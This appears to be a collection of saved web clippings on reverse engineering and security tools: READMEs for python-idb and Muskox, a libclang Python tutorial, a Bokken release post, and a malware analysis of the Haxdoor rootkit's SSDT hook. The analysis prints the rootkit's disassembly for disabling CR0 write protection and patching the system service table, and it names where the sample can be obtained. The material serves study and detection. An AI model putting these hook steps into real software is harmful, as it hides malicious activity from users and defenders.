> information is written to iCloud storage. Use ` NSURLIsExcludedFromBackupKey
> ` to prevent backup of files to iCloud and iTunes.
> **Audit tip:** For the Keychain, check that ` kSecAttrSynchronizable ` is
> false if the item is not intended for iCloud Keychain backup \(it is false
> by default\).
> **Audit tip:** Check that NSUserDefaults does only contain settings and no
> personal information.
  

# williballenthin/python-idb

**Created:**| _7/17/2017 11:22:47 AM_  
---|---  
**Updated:**| _7/17/2017 11:22:47 AM_  
**Author:**| __  
**Tags:**| _iDA_  
  

  

<img
src='img/68747470733a2f2f7472617669732d63692e6f72672f77696c6c6962616c6c656e7468696e2f707974686f6e2d6964622e7376673f6272616e63683d6d6173746572'
width='90' height='20' alt='Build Status' />

# python-idb

python-idb is a library for accessing the contents of IDA Pro databases \(.idb
files\). It provides read-only access to internal structures such as the
B-tree \(ID0 section\), name address index \(NAM section\), and flags index
\(ID2 section\). The library also provides analysis of B-tree entries to
expose logical structures like functions, cross references, bytes, and
disassembly \(via Capstone\). An example use for python-idb might be to run
IDA scripts in a pure-Python environment.

Willem Hengeveld \(mailto:itsme@xs4all.nl\) provided the initial research into
the low-level structures in his projects pyidbutil and idbutil. Willem
deserves substantial credit for reversing the .idb file format and publishing
his results online. This project heavily borrows from his knowledge, though
there is little code overlap.

## example use:

### example: list function names

In this example, we list the effective addresses and names of functions:

[code]

    In [4]: import idb
       ...: with idb.from_file('./data/kernel32/kernel32.idb') as db:
       ...:     api = idb.IDAPython(db)
       ...:     for ea in api.idautils.Functions():
       ...:         print('%x: %s' % (ea, api.idc.GetFunctionName(ea)))
    
    Out [4]: 68901010: GetStartupInfoA
       ....: 689011df: Sleep
       ....: 68901200: MulDiv
       ....: 68901320: SwitchToFiber
       ....: 6890142c: GetTickCount
       ....: 6890143a: ReleaseMutex
       ....: 68901445: WaitForSingleObject
       ....: 68901450: GetCurrentThreadId
            ...
    
[/code]

Note that we create an emulated instance of the IDAPython scripting interface,
and use this to invoke ` idc ` and ` idautils ` routines to fetch data.

### example: run an existing IDAPython script

In this example, we run the yara\_fn.py IDAPython script to generate a YARA
rule for the function at effective address 0x68901695 in kernel32.idb:

<img
src='img/68747470733a2f2f61736369696e656d612e6f72672f612f396e3871787043686a425472463174594162703741424946572e706e67.png'
width='888' height='578' alt='asciicast' />

The target script ` yara_fn.py ` has only been slightly modified:

  * to make it Python 3.x compatible, and
  * to use the modern IDAPython modules, such as ` ida_bytes.GetManyBytes ` rather than ` idc.GetManyBytes `.

## what works

  * ~250 unit tests that demonstrate functionality including file format, B-tree, analysis, and idaapi features.
  * read-only parsing of .idb and .i64 files from IDA Pro v6.95 and v7.0 
    * extraction of file sections
    * B-tree lookups and queries \(ID0 section\)
    * flag enumeration \(ID1 section\)
    * named address listing \(NAM section\)
  * analysis of artifacts that reconstructs logical elements, including: 
    * root metadata
    * loader metadata
    * entry points
    * functions
    * structures
    * cross references
    * fixups
    * segments
  * partial implementation of the IDAPython API, including: 
    * ` Names `
    * ` Heads `
    * ` Segs `
    * ` GetMnem ` \(via Capstone\)
    * ` Functions `
    * ` FlowChart ` \(basic blocks\)
    * lots and lots of flags
  * Python 2.7 & 3.x compatibility
  * zlib-packed idb/i64 files

## what doesn't quite work

support for the following features are feasible and planned, but not yet
implemented:

  * databases from versions other than v6.95 and v7.0b
  * parsing TIL section

## what will never work

  * write access

## getting started

python-idb is a pure-Python library, with the exception of Capstone \(required
only when calling disassembly APIs\). You can install it via pip or ` setup.py
install `, both of which should handle depedency resolution:

[code]

     $ cd ~/Downloads/python-idb/
     $ python setup.py install
     $ python scripts/run_ida_script.py  ~/tools/yara_fn.py  ~/Downloads/kernel32.idb
       ... profit! ...
    
[/code]

While most python-idb function have meaningful docstrings, there is not yet a
comprehensive documentation website. However, the unit tests demonstrate
functionality that you'll probably find useful.

Someone interested in learning the file format and contributing to the project
should review the ` idb.fileformat ` module & tests. Those that are looking to
extract meaningful information from existing .idb files probably should look
at the ` idb.analysis ` and ` idb.idapython ` modules & tests.

Please report issues or feature requests through Github's bug tracker
associated with the project.

## license

python-idb is licensed under the Apache License, Version 2.0. This means it is
freely available for use and modification in a personal and professional
capacity.

  

# baroquebobcat/muskox

**Created:**| _9/27/2013 10:02:51 AM_  
---|---  
**Updated:**| _9/27/2013 10:02:51 AM_  
**Author:**| __  
**Tags:**| _reversing json parser_  
  

# Muskox****

A JSON Parser-Generator that takes a json-schema and converts it into a
parser**.**

It supports a subset of json-schema, and changes some of the default
assumptions of the spec to be stricter--eg it effectively sets the
`additionalProperties` field to false by not allowing unspecified fields**.**
It also doesn't allow `patternProperties`, or `enum`**.** It definitely
doesn't follow the Hyper-Schema stuff**.** If you want to use a portion of
someone elses' schema, you'll need to drop it into yours directly**.**

##  Why?

Using a parser to handle inputs makes your app safe from attacks that rely on
passing disallowed params, because disallowed params will either be ignored or
rejected**.**

> Be definite about what you accept**.**\(\*\)
> Treat inputs as a language, accept it with a matching computational power,
> generate its recognizer from its grammar**.**
> Treat input-handling computational power as privilege, and reduce it
> whenever possible**.**
http://www.cs.dartmouth.edu/~sergey/langsec/postel-principle-patch.txt

##  Installation****

Add this line to your application's Gemfile:

[code]

    gem 'muskox'
    
[/code]

And then execute:

[code]

    $ bundle
    
[/code]

Or install it yourself as:

[code]

    $ gem install muskox
    
[/code]

##  Usage****

[code]

        # to generate a parser, call generate w/ a JSON-Schema
        parser = Muskox**.** generate({
            "title" => "Schema",
            "type" => "object",
            "properties" => {
              "number" => {
                "type" => "integer"
              }
            },
            "required" => ["number"]
          })
    
        # then call parse with the string you want to have parsed
        n = parser**.** parse "{\"number\": 1}"
        # => {"number" => 1}
    
        # invalid types are disallowed
        parser**.** parse "{\"number\": true}" rescue puts $**!**
    
[/code]

##  TODOs****

  * performance improvements/testing 
    * Ruby is slow & the lexer uses Regex**.** We should do something better
    * for JRuby: Jackson has a streaming interface that looks interesting
  * fuzz testing 
    * needs more tests that try to break it
  * better JSON-schema support 
    * maybe instead of reassuming the default for `additionalProperties`, we should validate schemas and say `"Muskox requires additionalProperties: false"`

##  Contributing****

  1. Fork it
  2. Create your feature branch \(`git checkout -b my-new-feature`\)
  3. Commit your changes \(`git commit -am 'Add some feature'`\)
  4. Push to the branch \(`git push origin my-new-feature`\)
  5. Create new Pull Request

****

# Red Team Assessment of Parliament Hill Firewall Practical \#0063

**Created:**| _5/12/2010 2:04:43 PM_  
---|---  
**Updated:**| _5/12/2010 2:05:03 PM_  
**Author:**| __  
**Tags:**| _papers pauldotcom security pentest_  
  
<img src='img/Red Team Assessment of Parliament Hill Firewall Practical
#0063.pdf' />

# IPv6 ¨ uber openvpn

**Created:**| _8/30/2010 8:54:09 AM_  
---|---  
**Updated:**| _8/30/2010 8:54:39 AM_  
**Author:**| __  
**Tags:**| _crypto network-security Lab-Setup vpn_  
  
<img src='img/Temp2_4336' />

# Eli Bendersky's website » Blog Archive » Parsing C++ in Python with Clang

**Created:**| _9/8/2011 11:40:51 PM_  
---|---  
**Updated:**| _9/8/2011 11:40:51 PM_  
**Author:**| __  
**Tags:**| _python analysis static llvm parser_  
  

## Parsing C++ in Python with Clang

July 3rd, 2011 at 5:15 am

People that need to parse and analyze C code in Python are usually really
excited to run into pycparser. However, when the task is to parse C++,
`pycparser` is not the solution. When I get asked about plans to support C++
in `pycparser`, my usual answer is – there are no such plans \[1\], you should
look elsewhere. Specifically, at Clang.

Clang is a front-end compiler for C, C++ and Objective C. It’s a liberally
licensed open-source project backed by Apple, which uses it for its own tools.
Along with its parent project – the LLVM compiler backend, Clang starts to
become a formidable alternative to `gcc` itself these days. The dev team
behind Clang \(and LLVM\) is top-notch and its source is one of the best
designed bodies of C++ code in the wild. Clang’s development is very active,
closely following the latest C++ standards.

So what I point people to when I’m asked about C++ parsing is Clang. There’s a
slight problem with that, however. People like `pycparser` _because it’s
Python_ , and Clang’s API is C++ – which is not the most high-level hacking
friendly language out there, to say the least.

### libclang

Enter `libclang`. Not so long ago, the Clang team wisely recognized that Clang
can be used not only as a compiler proper, but also as a tool for analyzing
C/C++/ObjC code. In fact, Apple’s own Xcode development tools use Clang as a
library under the hood for code completion, cross-referencing, and so on.

The component through which Clang enables such usage is called `libclang`.
It’s a C API \[2\] that the Clang team vows to keep relatively stable,
allowing the user to examine parsed code at the level of an abstract syntax
tree \(AST\) \[3\].

More technically, `libclang` is a shared library that packages Clang with a
public-facing API defined in a single C header file:
`clang/include/clang-c/Index.h`.

### Python bindings to libclang

`libclang` comes with Python bindings, which reside in
`clang/bindings/python`, in module `clang.cindex`. This module relies on
`ctypes` to load the dynamic `libclang` library and tries to wrap as much of
`libclang` as possible with a Pythonic API.

### Documentation?

Unfortunately, the state of documentation for `libclang` and its Python
bindings is dire. The official documentation according to the devs is the
source \(and auto-generated Doxygen HTML\). In addition, all I could find
online is a presentation and a couple of outdated email messages from the
Clang dev mailing list.

On the bright side, if you just skim the `Index.h` header file keeping in mind
what it’s trying to achieve, the API isn’t hard to understand \(and neither is
the implementation, especially if you’re a bit familiar with Clang’s
internals\). Another place to look things up is the `clang/tools/c-index-test`
tool, which is used to test the API and demonstrates its usage.

For the Python bindings, there is absolutely no documentation as well, except
the source plus a couple of examples that are distributed alongside it. So I
hope this article will be helpful\!

### Setting up

Setting up usage of the Python bindings is very easy:

  * Your script needs to be able to find the `clang.cindex` module. So either copy it appropriately or set up `PYTHONPATH` to point to it \[4\].
  * `clang.cindex` needs to be able to find the `libclang.so` shared library. Depending on how you build/install Clang, you will need to copy it appropriately or set up `LD_LIBRARY_PATH` to point to its location. On Windows, this is `libclang.dll` and it should be on `PATH`.

That arranged, you’re ready to `import clang.cindex` and start rolling.

### Simple example

Let’s start with a simple example. The following script uses the Python
bindings of `libclang` to find all references to some type in a given file:

[code]

    #!/usr/bin/env python
    """ Usage: call with <filename> <typename>
    """
    
    import sys
    import clang.cindex
    
    def find_typerefs(node, typename):
        """ Find all references to the type named 'typename'
        """
        if node.kind.is_reference():
            ref_node = clang.cindex.Cursor_ref(node)
            if ref_node.spelling == typename:
                print 'Found %s [line=%s, col=%s]' % (
                    typename, node.location.line, node.location.column)
        # Recurse for children of this node
        for c in node.get_children():
            find_typerefs(c, typename)
    
    index = clang.cindex.Index.create()
    tu = index.parse(sys.argv[1])
    print 'Translation unit:', tu.spelling
    find_typerefs(tu.cursor, sys.argv[2])
    
[/code]

Suppose we invoke it on this dummy C++ code:

[code]

    class Person {
    };
    
    class Room {
    public:
        void add_person(Person person)
        {
            // do stuff
        }
    
    private:
        Person* people_in_room;
    };
    
    template <class T, int N>
    class Bag<T, N> {
    };
    
    int main()
    {
        Person* p = new Person();
        Bag<Person, 42> bagofpersons;
    
        return 0;
    }
    
[/code]

Executing to find referenced to type `Person`, we get:

[code]

    Translation unit: simple_demo_src.cpp
    Found Person [line=7, col=21]
    Found Person [line=13, col=5]
    Found Person [line=24, col=5]
    Found Person [line=24, col=21]
    Found Person [line=25, col=9]
    
[/code]

### Understanding how it works

To see what the example does, we need to understand its inner workings on 3
levels:

  * Conceptual level – what is the information we’re trying to pull from the parsed source and how it’s stored
  * `libclang` level – the formal C API of `libclang`, since it’s much better documented \(albeit only in comments in the source\) than the Python bindings
  * The Python bindings, since this is what we directly invoke

#### Creating the index and parsing the source

We’ll start at the beginning, with these lines:

[code]

    index = clang.cindex.Index.create()
    tu = index.parse(sys.argv[1])
    
[/code]

An "index" represents a set of translation units compiled and linked together.
We need some way of grouping several translation units if we want to reason
across them. For example, we may want to find references to some type defined
in a header file, in a set of other source files. `Index.create()` invokes the
C API function `clang_createIndex`.

Next, we use `Index`’s `parse` method to parse a single translation unit from
a file. This invokes `clang_parseTranslationUnit`, which is a key function in
the C API. Its comment says:

> This routine is the main entry point for the Clang C API, providing the
> ability to parse a source file into a translation unit that can then be
> queried by other functions in the API.
This is a powerful function – it can optionally accept the full set of flags
normally passed to the command-line compiler. It returns an opaque
`CXTranslationUnit` object, which is encapsulated in the Python bindings as
`TranslationUnit`. This `TranslationUnit` can be queried, for example the name
of the translation unit is available in the `spelling` property:

[code]

    print 'Translation unit:', tu.spelling
    
[/code]

Its most important property is, however, `cursor`. A _cursor_ is a key
abstraction in `libclang`, it represents some node in the AST of a parsed
translation unit. The cursor unifies the different kinds of entities in a
program under a single abstraction, providing a common set of operations, such
as getting its location and children cursors. `TranslationUnit.cursor` returns
the top-level cursor of the translation unit, which serves as the stating
point for exploring its AST. I will use the terms _cursor_ and _node_
interchangeably from this point on.

#### Working with cursors

The Python bindings encapsulate the `libclang` cursor in the `Cursor` object.
It has many attributes, the most interesting of which are:

  * `kind` – an enumeration specifying the kind of AST node this cursor points at
  * `spelling` – the source-code name of the node
  * `location` – the source-code location from which the node was parsed
  * `get_children` – its children nodes

`get_children` requires special explanation, because this is a particular
point at which the C and Python APIs diverge.

The `libclang` C API is based on the idea of _visitors_. To walk the AST from
a given cursor, the user code provides a callback function to
`clang_visitChildren`. This function is then invoked on all descendants of a
given AST node.

The Python bindings, on the other hand, encapsulate visiting internally, and
provide a more Pythonic iteration API via `Cursor.get_children`, which returns
the children nodes \(cursors\) of a given cursor. It’s still possible to
access the original visitation APIs directly through Python, but using
`get_children` is much more convenient. In our example, we use `get_children`
to recursively visit all the children of a given node:

[code]

    for c in node.get_children():
        find_typerefs(c, typename)
    
[/code]

### Some limitations of the Python bindings

Unfortunately, the Python bindings aren’t complete and still have some bugs,
because it is a work in progress. As an example, suppose we want to find and
report all the function calls in this file:

[code]

    bool foo()
    {
        return true;
    }
    
    void bar()
    {
        foo();
        for (int i = 0; i < 10; ++i)
            foo();
    }
    
    int main()
    {
        bar();
        if (foo())
            bar();
    }
    
[/code]

Let’s write this code:

[code]

    import sys
    import clang.cindex
    
    def callexpr_visitor(node, parent, userdata):
        if node.kind == clang.cindex.CursorKind.CALL_EXPR:
            print 'Found %s [line=%s, col=%s]' % (
                    node.spelling, node.location.line, node.location.column)
        return 2 # means continue visiting recursively
    
    index = clang.cindex.Index.create()
    tu = index.parse(sys.argv[1])
    clang.cindex.Cursor_visit(
            tu.cursor,
            clang.cindex.Cursor_visit_callback(callexpr_visitor),
            None)
    
[/code]

This time we’re using the `libclang` visitation API directly. The result is:

[code]

    Found None [line=8, col=5]
    Found None [line=10, col=9]
    Found None [line=15, col=5]
    Found None [line=16, col=9]
    Found None [line=17, col=9]
    
[/code]

While the reported locations are fine, why is the node name `None`? After some
perusal of `libclang`’s code, it turns out that for expressions, we shouldn’t
be printing the _spelling_ , but rather the _display name_. In the C API it
means `clang_getCursorDisplayName` and not `clang_getCursorSpelling`. But,
alas, the Python bindings don’t have `clang_getCursorDisplayName` exposed\!

We won’t let this stop us, however. The source code of the Python bindings is
quite straightforward, and simply uses `ctypes` to expose additional functions
from the C API. Adding these lines to `bindings/python/clang/cindex.py`:

[code]

    Cursor_displayname = lib.clang_getCursorDisplayName
    Cursor_displayname.argtypes = [Cursor]
    Cursor_displayname.restype = _CXString
    Cursor_displayname.errcheck = _CXString.from_result
    
[/code]

And we can now use `Cursor_displayname`. Replacing `node.spelling` by
`clang.cindex.Cursor_displayname(node)` in the script, we now get the desired
output:

[code]

    Found foo [line=8, col=5]
    Found foo [line=10, col=9]
    Found bar [line=15, col=5]
    Found foo [line=16, col=9]
    Found bar [line=17, col=9]
    
[/code]

_Update \(06.07.2011\):_ Inspired by this article, I submitted a patch to the
Clang project to expose `Cursor_displayname`, as well as to fix a few other
problems with the Python bindings. It was committed by Clang’s core devs in
revision 134460 and should now be available from trunk.

### Some limitations of `libclang`

As we have seen above, limitations in the Python bindings are relatively easy
to overcome. Since `libclang` provides a straightforward C API, it’s just a
matter of exposing additional functionality with appropriate `ctypes`
constructs. To anyone even moderately experienced with Python, this isn’t a
big problem.

Some limitations are in `libclang` itself, however. For example, suppose we
wanted to find all the return statements in a chunk of code. Turns out this
isn’t possible through the current API of `libclang`. A cursory look at the
`Index.h` header file reveals why.

`enum CXCursorKind` enumerates the kinds of cursors \(nodes\) we may encounter
via `libclang`. This is the portion related to statements:

[code]

    /* Statements */
    CXCursor_FirstStmt                     = 200,
    /**
     * \brief A statement whose specific kind is not exposed via this
     * interface.
     *
     * Unexposed statements have the same operations as any other kind of
     * statement; one can extract their location information, spelling,
     * children, etc. However, the specific kind of the statement is not
     * reported.
     */
    CXCursor_UnexposedStmt                 = 200,
    
    /** \brief A labelled statement in a function.
     *
     * This cursor kind is used to describe the "start_over:" label statement in
     * the following example:
     *
     * \code
     *   start_over:
     *     ++counter;
     * \endcode
     *
     */
    CXCursor_LabelStmt                     = 201,
    
    CXCursor_LastStmt                      = CXCursor_LabelStmt,
    
[/code]

Ignoring the placeholders `CXCursor_FirstStmt` and `CXCursor_LastStmt` which
are used for validity testing, the only statement recognized here is the label
statement. All other statements are going to be represented with
`CXCursor_UnexposedStmt`.

To understand the reason for this limitation, it’s constructive to ponder the
main goal of `libclang`. Currently, this API’s main use is in IDEs, where we
want to know everything about types and references to symbols, but don’t
particularly care what kind of statement or expression we see \[5\].

Forgunately, from discussions in the Clang dev mailing lists it can be
gathered that these limitations aren’t really intentional. Things get added to
`libclang` on a per-need basis. Apparently no one needed to discern different
statement kinds through `libclang` yet, so no one added this feature. If it’s
important enough for someone, he can feel free to suggest a patch to the
mailing list. In particular, this specific limitation \(lack of statement
kinds\) is especially easy to overcome. Looking at `cxcursor::MakeCXCursor` in
`libclang/CXCursor.cpp`, it’s obvious how these "kinds" are generated
\(comments are mine\):

[code]

    CXCursor cxcursor::MakeCXCursor(Stmt *S, Decl *Parent,
                                    CXTranslationUnit TU) {
      assert(S && TU && "Invalid arguments!");
      CXCursorKind K = CXCursor_NotImplemented;
    
      switch (S->getStmtClass()) {
      case Stmt::NoStmtClass:
        break;
    
      case Stmt::NullStmtClass:
      case Stmt::CompoundStmtClass:
      case Stmt::CaseStmtClass:
    
      ... // many other statement classes
    
      case Stmt::MaterializeTemporaryExprClass:
        K = CXCursor_UnexposedStmt;
        break;
    
      case Stmt::LabelStmtClass:
        K = CXCursor_LabelStmt;
        break;
    
      case Stmt::PredefinedExprClass:
    
      .. //  many other statement classes
    
      case Stmt::AsTypeExprClass:
        K = CXCursor_UnexposedExpr;
        break;
    
      .. // more code
    
[/code]

This is simply a mega-switch on `Stmt.getStmtClass()` \(which is Clang’s
_internal_ statement class\), and only for `Stmt::LabelStmtClass` there is a
kind that isn’t `CXCursor_UnexposedStmt`. So recognizing additional "kinds" is
trivial:

  1. Add another enum value to `CXCursorKind`, between `CXCursor_FirstStmt` and `CXCursor_LastStmt`
  2. Add another case to the switch in `cxcursor::MakeCXCursor` to recognize the appropriate class and return this kind
  3. Expose the enumeration value in \(1\) to the Python bindings

### Conclusion

Hopefully this article has been a useful introduction to `libclang`’s Python
bindings \(and `libclang` itself along the way\). Although there is a dearth
of external documentation for these components, they are well written and
commented, and their source code is thus straightforward enough to be
reasonably self-documenting.

It’s very important to keep in mind that these APIs wrap an extremely powerful
C/C++/ObjC parser engine that is being very actively developed. In my personal
opinion, Clang is one’s best bet for an up-to-date open-source C++ parsing
library these days. Nothing else comes even close.

A small fly in the ointment is some limitations in `libclang` itself and its
Python bindings. These are a by-product of `libclang` being a relatively
recent addition to Clang, which itself is a very young project.

Fortunately, as I hope this article demonstrated, these limitations aren’t
terribly difficult to work around. Only a small amount of Python and C
expertise is required to extend the Python bindings, while a bit of
understanding of Clang lays the path to enhancements to `libclang` itself. In
addition, since `libclang` is still being actively developed, I’m quite
confident that this API will keep improving over time, so it will have less
and less limitations and omissions as time goes by.

<img src='img/Temp2_2558.jpg' alt='http://eli.thegreenplace.net/wp-
content/uploads/hline.jpg' />

\[1\]| For me, there are a few reasons for not wanting to get into C++
parsing. First, I like my projects being born from a need. I needed to parse
C, so `pycparser` was created. I have no need parsing C++. Second, as hard as
C is to parse, C++ is much harder since its grammar is even more ambiguous.
Third, a great tool for parsing C++ already exists – Clang.  
---|---  
\[2\]| C for better interoperability with non C/C++ based languages and tools.
For example, the Python bindings would be much harder to implement on top of a
C++ API.  
---|---  
\[3\]| The key word here is _stable_. While Clang as a whole is designed in a
library-based approach and its parts can be used directly, these are internal
APIs the development team isn’t obliged to keep stable between releases.  
---|---  
\[4\]| Note that the Python bindings are part of the _source distribution_ of
Clang.  
---|---  
\[5\]| Expression kinds are also severely limited in `libclang`.  
---|---

# Some notes about System Service Dispatch Table hook « My infected computer

**Created:**| _12/26/2009 4:57:35 PM_  
---|---  
**Updated:**| _12/26/2009 4:57:45 PM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis_  
  

## Some notes about System Service Dispatch Table hook

Posted by zairon under Malware, Reverse Engineering  
Leave a Comment

Here are some notes on a rootkit technique called System Service Dispatch
Table Hook. The technique is very popular in malware nowadays, that’s because
it’s relatively easy to code. It’s dangerous and powerful, but at the same
time it’s pretty easy to identify this kind of hook.  
The table contains several pointers, each one points to a specific Nt\*
function. The idea is to hook a function changing the pointer inside the
table. This is possible with a simple patch. Almost all the malwares use this
kind of hook in order to hide files.  

There are so many malwares around using this particular technique, if you want
to follow this little article you can download the Haxdoor malware \(MD5:
ebf923c9845b3a0b1c29f4b845094855\), available at www.offensivecomputing.com.

From now on I’ll refer to System Service Dispatch Table using the acronym
SSDT.  

_Approaching the malware_  
As often happens the malware is packed. This is not a big problem because it’s
packed by FSG 2 and it’s pretty easy to reach the original entry point in few
seconds. I don’t need to unpack the file because the interesting things are
inside the files that are created at runtime by the first one. Most of the
time the malware contains some initializations only, the real malware is
represented by the files that are created at runtime. As often happens the
first file creates two new files, a dll and a sys file. I’ll focus my
attention on the sys file only because the hook is inside it.  

_Analysis of the sys file_  
Load the driver inside a disassembler and start looking inside DriverEntry
routine. Focus your attention on the last lines of code of the procedure, it’s
the point where the dispatch functions are assigned:

00010821 mov edx, \[ebp+DriverObject\]  
00010824 mov dword ptr \[edx+38h\], offset sub\_105AC ; IRP\_MJ\_CREATE  
0001082B mov dword ptr \[edx+70h\], offset sub\_105AC ;
IRP\_MJ\_DEVICE\_CONTROL

The driver handles two IRPs, IRP\_MJ\_CREATE and IRP\_MJ\_DEVICE\_CONTROL. How
do I know such informations? It’s pretty easy when you know the structure
involved, driver object structure is defined as:

typedef struct \_DRIVER\_OBJECT \{  
CSHORT Type; // +0×000  
CSHORT Size; // +0×002  
PDEVICE\_OBJECT DeviceObject; // +0×004  
ULONG Flags; // +0×008  
PVOID DriverStart; // +0×00C  
ULONG DriverSize; // +0×010  
PVOID DriverSection; // +0×014  
PDRIVER\_EXTENSION DriverExtension; // +0×018  
UNICODE\_STRING DriverName; // +0×01C  
PUNICODE\_STRING HardwareDatabase; // +0×024  
PFAST\_IO\_DISPATCH FastIoDispatch; // +0×028  
PDRIVER\_INITIALIZE DriverInit; // +0×02C  
PDRIVER\_STARTIO DriverStartIo; // +0×030  
PDRIVER\_UNLOAD DriverUnload; // +0×034  
PDRIVER\_DISPATCH MajorFunction\[IRP\_MJ\_MAXIMUM\_FUNCTION + 1\]; // +0×038\}  
DRIVER\_OBJECT;  
typedef struct \_DRIVER\_OBJECT \*PDRIVER\_OBJECT;  
\#define IRP\_MJ\_MAXIMUM\_FUNCTION 0×1B  

The structure is taken from ntddk.h. As you can see the space for the IRPs is
defined at the end of the structure definition, I’m referring to the array of
0×1C elements. One elements for each IRP. In this particular case the IRPs
used by the driver are taken from \_DRIVER\_OBJECT+0×38 and
\_DRIVER\_OBJECT+0×70. They are IRP\_MJ\_CREATE and IRP\_MJ\_DEVICE\_CONTROL.
The dispatch routine is only one, but it will handle them without problems.

Hook steps  
Now that I know where to look at, I can try to identify where the hook
occours. The technique is more or less always the same and it consists in some
simple steps:  
1\. disable write protection  
2\. locate the necessary structures  
3\. patch the table  
4\. enable write protection  
The code used to perform these four steps is all included inside a procedure,
the driver dispatch routine. There is a lot of theory behind these four
points. I don’t want to annoy you with too many definitions and stuff like
that, but I’ll take the way I like: “Improvise. Adapt. Overcome”.

1\. Disable write protection  
This first task is necessary because without disabling the write protection
the malware won’t be able to patch the SSDT. To perform the operation you only
need few instructions:

mov eax, cr0  
and eax, 0FFFEFFFFh  
mov cr0, eax  
  
The value of CR0 \(one of the control registers\) is moved in eax. According
to Intel manual \#3, CR0 contains system control flags that control operating
mode and states of the processor. The register is composed by bits and every
bit \(or a group of bits\) has his own definition. The ‘and’ instruction is
used to set Write Protect bit \(CR0’s bit\_16\) to 0. Once disabled you are
allowed to overwrite one or more memory byte.  
Here is the snippet used by the malware I’m currently checking:

00010521 mov eax, cr0  
00010524 push eax ; Push the original state: Write Protection enable  
00010525 mov edi, 0FFFEFFFFh  
0001052A and eax, edi  
0001052C mov cr0, eax  
  
Some more instructions but the result is the same.

2\. Locate the necessary structures  
As I stated some lines above, it’s all inside a single procedure. Look at the
instruction after the CR0 patch, you’ll see three interesting instructions:

0001052F mov eax, offset KeServiceDescriptorTable ; 1  
00010534 mov edi, \[eax\] ; 2  
00010536 mov eax, \[edi\] ; 3

\(1\) First of all it takes the address of something called
KeServiceDescriptorTable. What is it? It’s a table containing 4 pointers. Each
element points to a specific structure. The table pointed by
KeServiceDescriptorTable is defined as:

typedef struct \_SERVICE\_DESCRIPTOR\_TABLE \{  
SYSTEM\_SERVICE\_DESCRIPTOR\_ENTRY ntoskrnl; // Entry for ntoskrnl.exe  
SYSTEM\_SERVICE\_DESCRIPTOR\_ENTRY win32k; // Entry for win32k.sys  
SYSTEM\_SERVICE\_DESCRIPTOR\_ENTRY sst3; // Reserved, not used  
SYSTEM\_SERVICE\_DESCRIPTOR\_ENTRY sst4; // Reserved, not used  
\} SERVICE\_DESCRIPTOR\_TABLE, \*PSERVICE\_DESCRIPTOR\_TABLE,
\*\*PPSERVICE\_DESCRIPTOR\_TABLE;\]  

\(2\) The first entry is taken from KeServiceDescriptorTable. This is the
pointer to a System Service Descriptor Entry, the one for ntoskrnl. The
structure is defined as:

typedef struct \_SYSTEM\_SERVICE\_DESCRIPTOR\_ENTRY \{  
PULONG ServiceTableBase; // Base address of the SSDT  
PULONG ServiceCounterTableBase;  
ULONG NumberOfServices; // Number of services described by ServiceTableBase  
PCHAR ParamTableBase; // Base address of the table containing the number of
parameter bytes for each of the system services  
\} SYSTEM\_SERVICE\_DESCRIPTOR\_ENTRY, \*PSYSTEM\_SERVICE\_DESCRIPTOR\_ENTRY,
\*\*PPSYSTEM\_SERVICE\_DESCRIPTOR\_ENTRY;  

There are four elements but a malware is always interested in the first one
only. The other elements are useful if you want to code a SSDT reader or
something like that.

\(3\) eax points to the SSDT. The table contains NumberOfServices elements and
each one points to a dispatch routine. Each element is represented by a single
double word containing the address of the service function. If you have a
ring-0 debugger you can see all the services inside the table. With Softice a
simple ‘u’ followed by the address of the service will reveal the code and the
name of the service.

3\. Patch the table  
Now, the malware has the table’s initial address and it’s ready to install the
hook:  
  
00010538 mov edx, dword\_10BC2 ; ID of the function to hook: 0×30  
0001053E inc edx  
0001053F jz short loc\_10559  
00010541 dec edx  
00010542 mov ebx, offset sub\_10393 ; New function, it replaces the hooked one  
00010547 cmp dword\_10BD2, 0  
0001054E jnz short loc\_10559  
00010550 xchg ebx, \[eax+edx\*4\] ; Exchange instruction, perform the hook  
  
A little snippet showing how to install the first hook. The idea is really
simple: the malware exchanges the original address of the function ‘x’ with
the address of a function ‘y’ \(located inside the malware\). As you can
imagine, when a request for the function ‘x’ is done the system calls the new
function ‘y’ and ignore ‘x’. ‘x’ will be executed if and only if ‘y’ calls it.
In this specific case the hooked function is NtCreateProcessEx \(index 0×30\),
the function is replaced with the new one located at offset 0×393. I won’t
inspect the new function because I’m not interested in it.

4\. Enable write protection  
And now the last part of the process. The malware enables write protection
again. This part is the mirror of part 1. There are some different ways, the
malware uses this one:  
  
000105A4 pop eax ; Retrieve cr0’s original status \(Write Protection enable\)  
000105A5 mov cr0, eax ; Restore the original status  
  
 _In the end_  
Really easy to identify, really easy to understand… there’s nothing more to
say about this type of hook\!

# Inguma Development: A new release is coming

**Created:**| _10/28/2011 10:32:33 AM_  
---|---  
**Updated:**| _10/28/2011 10:32:33 AM_  
**Author:**| __  
**Tags:**| _reversing Linux_  
  

### A new release is coming

One again it's been a long time since our last update. The team has switched
gears and now we are in a sprint to finish a new release of Bokken. As you
probably know, Bokken is **the RCE utility that we use in Inguma** , and we
have been very busy adding tons of features and polishing the interface.

  

If Bokken 1.0 was 39 commits, for the new release we are near the 200, so
expect lots of changes, bug fixes and improvements. Let's view some of the
major ones.

  

The first thing you will notice is the huge change the GUI has suffered, not
just to adapt it to the new features but also we have made many changes in
order to make it more clear, intuitive and easy to use. But a picture is worth
a thousand words:

  

<img src='img/Temp2_4453.png' alt='alt' />  

_" Comming soon"_,_ "WIP"_ or _" for the next release"_ are expressions that
don't like the Inguma team, so another major feature of Bokken 1.5 has been to
remove the _" soon"_ regarding the radare backend\! And yes, we made it.

  

Now bokken can be used with all the power of radare and the ease of use of the
GUI. Take a look to the radare website to learn about the features of this
powerful backend.

  
  
<img src='img/Temp2_4452.png' alt='alt' />  
Also almost all the views/tabs of Bokken have recived some amount of love and
have new features or improvements like:  

  * The long-awaited **code navigation**.
  * Improved flowgraph view.
  * More**interactive hexdump**.
  * Many new features for working with URLs
  * New plugins like: \(yes\!\) **bindiffing** , calculator, assembler, and more...

And that's all for now. Complete and detailed information of all the new
features will be shown in the **upcoming release** post.

  

Don't forget to follow us on the project's twitter and send us your ideas and
comments to the mailing list\!

  

bokken-devel \(at\) inguma.eu

  

Stay tuned.

# Holistic Information Security: From Risk to Diligence and Back Again | Chaordic Mind
**Created:**| _3/15/2010 10:24:59 PM_  
---|---  
**Updated:**| _3/15/2010 10:25:06 PM_  
**Author:**| __  
**Tags:**| _security metrics_  
  

## Holistic Information Security: From Risk to Diligence and Back Again

